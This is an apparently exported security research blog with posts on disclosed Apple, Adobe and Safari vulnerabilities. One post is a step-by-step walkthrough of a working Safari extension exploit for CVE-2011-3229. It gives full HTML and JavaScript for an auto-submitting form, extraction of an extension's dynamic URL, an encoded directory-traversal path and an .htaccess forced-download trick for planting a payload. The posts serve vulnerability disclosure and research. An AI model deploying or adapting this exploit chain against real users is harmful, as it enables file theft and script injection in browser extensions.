tag:blogger.com,1999:blog-57838735848933366882024-03-05T02:49:41.728-08:00vttysecurity research, or somethingaaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.comBlogger23125tag:blogger.com,1999:blog-5783873584893336688.post-26810352299448167682012-05-09T16:54:00.000-07:002012-05-10T03:57:17.815-07:00Apple fixes CVE-2012-0649 and CVE-2012-0657 in Mac OS X v10.7.4In todays security update, Apple fixed two issue I reported. Here are some additional details on those issues. To see Apple's official advisory, see <a href="http://support.apple.com/kb/HT5281">http://support.apple.com/kb/HT5281</a><br />
<div>
<br /></div>
<div>
• CVE-2012-0649</div>
<div>
<br /></div>
<div>
Impact: A local user may be able to execute arbitrary code with system privileges</div>
<div>
Description: A temporary file race condition issue existed in blued's initialization routine.</div>
<div>
<br /></div>
<div>
Additional detail: The file in question is "/tmp/com.apple.Bluetooth.plist" and was created shortly after boot and potentially other circumstances. Under certain circumstances, the writing or creation of this file could be attacked with standard file race techniques to create or clobber files by a local attacker.</div>
<div>
<br /></div>
<div>
• CVE-2012-0657</div>
<div>
<br /></div>
<div>
<div>
Impact: A user with physical access to the computer may be able to cause Safari to launch if the screen is locked and the RSS Visualizer screen saver is used</div>
<div>
Description: An access control issue existed in Quartz Composer's handling of screen savers. This issue is addressed through improved checking for whether or not the screen is locked.</div>
</div>
<div>
<br /></div>
<div>
Additional detail: The original finder of this bug is Jay Craft of GrooVault Entertainment, LLC. That is to say, when this bug was originally found and fixed, this was the original reporter. My work in finding this bug was merely to retest the issue once Lion was released. I noticed his issue was once again present. The description was defined as CAN-2005-2515 and is listed in <a href="http://support.apple.com/kb/TA23465?viewlocale=en_US&locale=en_US">http://support.apple.com/kb/TA23465?viewlocale=en_US&locale=en_US</a></div>
<div>
<br /></div>
<div>
Thanks to the Apple Product Security team for addressing both issues.</div>
<div>
<br /></div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-28215192169121104632011-10-20T18:53:00.000-07:002011-10-21T08:52:28.050-07:00Flash version check is MITMable on Mac OS XAdobe Flash on Mac OS X provides a mechanism for users to check the version of Flash on their system to make sure it is not out of date. This can be done via the somewhat new "Flash Player" System Preference Pane, which has a "Check Now" button to trigger a version check.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbqq2nbb1LZ-DxB_BIHWsUX9ynN12YGfCfOYXREm5UMQp1voKObIcfOhLBJwr0Xo7UfYVd3-0jGnCIo4E6jvB9DK7Hnti58ZtvFYxA9uSCfCbk4vhHEBxyggarfgVpe-i7MuPGpnfqR8Q/s1600/FlashPlayerUpdateCheck.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbqq2nbb1LZ-DxB_BIHWsUX9ynN12YGfCfOYXREm5UMQp1voKObIcfOhLBJwr0Xo7UfYVd3-0jGnCIo4E6jvB9DK7Hnti58ZtvFYxA9uSCfCbk4vhHEBxyggarfgVpe-i7MuPGpnfqR8Q/s640/FlashPlayerUpdateCheck.jpg" width="640" /></a></div>
<br />
<br />
When users click on the Check Now button, the URL loaded is an HTTP URL and thus man-in-the-middle attackable. The current version of Flash Player's System Preference Pane loads <a href="http://www.adobe.com/go/flash-player-updates">http://www.adobe.com/go/flash-player-updates</a> which redirects the user to <a href="https://www.adobe.com/software/flash/about/">https://www.adobe.com/software/flash/about/</a>.<br />
<br />
To make things worse, once you get to Adobe's SSLized site, users are provided an HTTPS URL to the <a href="https://www.adobe.com/go/getflash">Player Download Center</a> that actually lands them back on a cleartext website, <a href="http://get.adobe.com/flashplayer/">http://get.adobe.com/flashplayer/</a>:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUkL6KylPcMEDL5Dx2jZzM1GWpvbv0-o1KJJaVNFSJE8i-9bVO5lODErc8q_NT4ZyjTTjWpAPzy0t-zrv_d0WoVoqUJQLAowg6pRdbfgUDLpdOagDruxlcl92jxQctWzsuzXTYy3cphYg/s1600/adobesite.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="86" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUkL6KylPcMEDL5Dx2jZzM1GWpvbv0-o1KJJaVNFSJE8i-9bVO5lODErc8q_NT4ZyjTTjWpAPzy0t-zrv_d0WoVoqUJQLAowg6pRdbfgUDLpdOagDruxlcl92jxQctWzsuzXTYy3cphYg/s640/adobesite.jpg" width="640" /></a></div>
<br />
Since Adobe has a more secure download mechanism built into Flash already, surely instead of making the "Check Now" button put users at risk, they could simply trigger that code path. Somehow this issue, as obvious as it is, and despite my best attempts at getting them to fix it, has still not been fixed in the latest version. I believe Adobe has a responsibility to its users to do the right thing here. It makes me want to ask someone at Adobe how something as basic as this does not fit into their <a href="http://www.adobe.com/security/pdfs/privacysecurity_ds.pdf">secure development lifecycle</a>.<br />
<br />aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-88854253346997001412011-10-16T22:50:00.000-07:002011-10-17T08:11:46.543-07:00Walkthrough of Safari Extension PoC<br />
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
Now that a few days have passed I wanted to provide a full walkthrough of the <a href="http://vttynotes.blogspot.com/2011/10/cve-2011-3229-steal-files-and-inject-js.html">Safari extension exploit for Mac OS X</a>, as I thought it might be useful for someone in reproducing the bug or for using in new research.</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
Synopsis: Leverage the directory traversal in Safari Extensions using 1Password's extension as an example. Note that the bug and vulnerability are not in 1Password. The test case shown describes the files that would be placed on an Apache website to reproduce the vulnerability as I did.</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
Step 1: index.html</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
The purpose of this page is to get 1Password to offer to save a password. We do this with an auto-submitting form. The form submits to passgrabber.html.</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<br /></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
</div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><html></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><body></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><script></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> setTimeout(function(){</span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> document.getElementById("TheLogin").click()</span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> },5000);</span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"></script></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><form id=bugpowder action="passgrabber.html" method=POST></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><input type=text name=username value="My Username"></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><input type=password name=password value="password"></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><input type=submit value=Login id=TheLogin></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"></form></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">Don't do anything, I got this...</span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"></body></span></div>
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;">
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"></html></span></div>
<div>
<br /></div>
<div>
Step 2: passgrabber.html</div>
<div>
<br /></div>
<div>
When we get here, 1Password believes we have submitted a password and offers to save it for us by injecting an iframe in the current page. Our page can access the source URL of the injected iframe in order to mount a the directory traversal attack. This Javascript can be trivially modified to target other extensions.</div>
<div>
<br /></div>
<div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><html></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><body></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><iframe src="slowboat.html" height=1 width=1></iframe></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><script></span></div>
<div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;">[In addition to accessing the iframe injected by 1Password, we kick off a download via slowboat.html, which is explained in more detail below.]</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">setTimeout(function(){</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> var mugwump = document.getElementById("com-agilebits-onepassword-autosave");</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> var benway = mugwump.getAttribute("src");</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> var agent = benway.split("/")[3];</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> tryImg(agent);</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">},3000)</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: small;">[The JS above launches 3 seconds after the page shows up, which gives 1Password enough time to inject an iframe with its UI. We pull out the source URL of the iframe and pass on the dynamic value (only unknown part of the URL) for further processing.]</span></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">var url_prefix = "safari-extension://com.agilebits.onepassword-safari-2BUA8C4S2C/";</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">var url_suffix = "/data/ui/images/h30.png"</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">var poc_target = "/Downloads/interzone.html.download/interzone.html";</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: small;">[Here we define some variables. These three variables are what you would modify to target a different extension. The easiest way to get "url_prefix" is to use the Safari Web Inspector when injected content from the extension is present, though note that injected content is not required for an extension to be vulnerable. The "url_suffix" is just to be sure we have a working exploit. We use it to attempt the directory traversal with a known image file at this extension-relative path. Lastly, the "poc_target" is the URL we actually intend to load containing our payload script. The payload script is the one that executes with the privileges of the extension. The "poc_target" path is relative to the user's home directory.]</span></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">function tryImg(thiskey) {</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> var imgholder=document.getElementById("imagesGoHere");</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> var newimage=document.createElement("img")</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> newimage.setAttribute("id","img"+thiskey);</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> newimage.setAttribute("onLoad","gotIt('"+thiskey+"')");</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> newimage.setAttribute("onError","this.parentNode.removeChild(this)");</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> newimage.src=url_prefix+thiskey+url_suffix;</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> imgholder.appendChild(newimage);</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> return(1);</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">}</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: small;">[This function is called by the setTimeout at the start of the script with the dynamic part of the URL. Once we have it, we try to load the image specified in "url_suffix. If it loads, we assume success and send the value on to the next function, "gotIt". This function only exists to provide some error checking.]</span></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">function gotIt(goodkey) {</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> var Vid=document.getElementById("userkey");</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> Vid.textContent=goodkey;</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> var proof=document.createElement("iframe");</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> proof.setAttribute("height",600);</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> proof.setAttribute("width",600);</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> proof.src=url_prefix+goodkey+"/%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f%2f%2e%2e%2f"+poc_target;</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> document.body.appendChild(proof);</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">}</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif; font-size: small;">[This function creates a new iframe for our payload to run in, and targets the payload using everything we have learned so far. It also prepends the "poc_target" url so that it is relative to the victim's home directory.]</span></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"></script></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br><br><br><br><br></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><h1><div id="userkey"></div></h1></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">Please wait a few seconds... </span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><br><div id="imagesGoHere"></div></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"></body></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"></html></span></div>
</div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></div>
<div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;"><span class="Apple-style-span" style="font-family: Times;">Step 3: slowboat.html</span></span></div>
<div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;"><span class="Apple-style-span" style="font-family: Times;"><br /></span></span></div>
<div>
At the start of the previous page, this is loaded into an iframe. Its purpose is to perform the "carpet bombing" (obligatory shout out to Nitesh Dhanjani again), otherwise called a forced download. There are a million ways to accomplish this, but I used the following .htaccess and HTML.</div>
<div>
<br /></div>
<div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><html></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><body></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><script></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;">document.location="interzone.html"</span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"></script></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"></body></span></div>
<div>
<span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"></html></span></div>
<div style="font-family: Times;">
<br /></div>
</div>
<div style="font-family: Times;">
The .htaccess file: </div>
<div style="font-family: Times;">
<br /></div>
<div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;"><span class="Apple-style-span" style="font-family: Times;"></span></span><br />
<div>
<div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;"><span class="Apple-style-span" style="font-family: Times;"><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"><FilesMatch "interzone.html$"></span></span></span></div>
<div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;"><span class="Apple-style-span" style="font-family: Times;"><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> Header set ContentType "application/octet-stream"</span></span></span></div>
<div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;"><span class="Apple-style-span" style="font-family: Times;"><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"> Header set Content-Disposition "attachment; filename=interzone.html"</span></span></span></div>
<div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;"><span class="Apple-style-span" style="font-family: Times;"><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"></FilesMatch></span></span></span></div>
</div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;"><span class="Apple-style-span" style="font-family: Times;">
</span></span><br />
<div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;"><span class="Apple-style-span" style="font-family: Times;"><span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: x-small;"><br /></span></span></span></div>
<span class="Apple-style-span" style="font-family: Times, 'Times New Roman', serif;"><span class="Apple-style-span" style="font-family: Times;">
</span></span>Step 4: interzone.html</div>
<div>
<br /></div>
<div>
Here you put your payload. You can do what you want from stealing files to executing SQL in the extension's database. When the download starts, Safari will create a temporary download bundle in the victim's ~/Downloads directory. It will be called "interzone.html.download/" and will contain a file called "interzone.html" inside it. You'll remember that is our "poc_target". We use this path because the Safari sandbox allows us to read files while they are being downloaded. You can put whatever payload you like in this file, but you need to make sure that it is either large enough in size or being served slow enough that the download is still in progress by the time it gets called. Actually, there are a million ways to do this too, but the easy route I took was making it 40 megs. If the download completes before the file is called, the temporary bundle will be removed before the exploit can access it.</div>
<div>
<br /></div>
<div>
Summary:</div>
<div>
<br /></div>
<div>
At this point, we have triggered 1Password, taken its dynamic value, validated that it works for us in a directory traversal, and we have pushed a payload to the victim's system. While the victim's system is downloading the payload, we can reliably access it and load it into the iframe from a safari-extension URL and in the context of the affected extension.</div>
<div>
<br /></div>
<div>
There are clearly lots of ways to accomplish this, but I chose the simplest path, not the most covert. That said, there are many points along the way where exploiting could have been made more difficult. If I had not been able to push files to the user, guess the download path, access the temporary download directory, or create frames that access safari-extension URLs in a remote web page, it would have been trickier.</div>
<div>
</div>aaronhttp://www.blogger.com/profile/13938049864104760764noreply@blogger.com0tag:blogger.com,1999:blog-5783873584893336688.post-86021900576005004762011-10-12T11:36:00.001-07:002011-10-12T11:45:15.344-07:00CVE-2011-3229 - Steal files and inject js in Safari Extensions<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<div style="text-align: center;">
<span class="Apple-style-span" style="font-size: small;"><b><br /></b></span></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen' width='320' height='266' src='https://www.blogger.com/video.g?token=AD6v5dz-0teTvHOdG-OO-iywphD2ykb0jwWKMCdGKjaN9L_R66W00XGax_8hdOZ0mgi8fdnIdBzRgWjWNqbQqHQSVg' class='b-hbp-video b-uploaded' frameborder='0'></iframe></div>
<div class="separator" style="clear: both; text-align: center;">
<span class="Apple-style-span" style="font-size: x-small;">(Sorry for the poor quality of the video, blogger seems to mess these up. Maybe I need to just find a new place for this blog.)</span></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<div style="text-align: center;">
CVE: CVE-2011-3229</div>
</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<div style="text-align: center;">
Found by: Aaron Sigel</div>
</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b><span class="Apple-style-span" style="font-size: small;">Summary:</span></b></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>Safari is vulnerable to a directory traversal issue with the handling of "safari-extension://" URLs.</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>Attackers can create malicious websites that trigger Safari to send files from the victim's system to the attacker.</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>Arbitrary Javascript can be executed in the web context of the Safari extension.</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b><span class="Apple-style-span" style="font-size: small;">Affected Versions:</span></b></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>Safari 5.0 and later on Mac OS X and Windows</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<b><span class="Apple-style-span" style="font-size: small;">Details:</span></b></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>First, Apple's description of Safari Extensions:</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>"<i>Safari Extensions are a great way for you to add new features to Safari. Built by developers, Safari Extensions use the latest HTML5, CSS3, and Javascript web technologies. And they’re digitally signed and sandboxed for improved security. You can install extensions with one click — no need to restart Safari.</i>"</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
-- <a href="http://extensions.apple.com/">http://extensions.apple.com</a></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>Another quote from Apple's Developer documentation on what scripts can do:</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>"<i>Your injected scripts can access resources—images, HTML, and other scripts, for example—within your extension folder. Relative URLs are relative to the webpage your script is injected into, however. If you need to access local resources, use safari.extension.baseURI + “relative path and filename”. You cannot access resources on the user’s hard drive outside of the extensions folder</i>."</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-style-span" style="white-space: pre;">-- </span><a href="http://developer.apple.com/library/safari/#documentation/Tools/Conceptual/SafariExtensionGuide/InjectingScripts/InjectingScripts.html">http://developer.apple.com/library/safari/#documentation/Tools/Conceptual/SafariExtensionGuide/InjectingScripts/InjectingScripts.html</a></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>Safari Extensions access their internal resources (images, scripts, etc) by prepending filenames with the value of safari.extension.baseURI, which is a dynamic path that changes every time Safari loads the extension. The format of full safari-extension URLs is:</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
<div style="text-align: center;">
<span class="Apple-tab-span" style="white-space: pre;"> </span>safari-extension://name-of-extension-[version_specific_string]/[dynamic_value]/path-to-file</div>
</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<div style="text-align: center;">
<br /></div>
</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
Due to a directory traversal vulnerability in the handling of these URLs, any file readable by Safari's sandbox can be accessed by attackers. In these URLs, the only component that is not generally known to attackers is the dynamic value. The dynamic value is a 32bit number represented as a lowercase hex string. While there are attacks that could attempt to guess this value, more effective routes to exploit this issue have been found.</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br />
These URLs may be used by content injected into web pages, exposing the dynamic value by reading the DOM. The method and exploitability depends on the code in the extension, but proof of concepts have been generated that work against the 1Password, ClickToFlash, and several other extensions. This should not be considered a security vulnerability in those extensions. They are following the guidelines provided by Apple for what should be a safe operation.</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px;">
The vulnerability here is that safari-extension URLs, with the help of directory traversal, have the ability to access local resources anywhere the system will allow the process to read.</div>
<div style="font: 13.0px Helvetica; margin: 0.0px 0.0px 0.0px 0.0px; min-height: 16.0px;">
<br /></div>
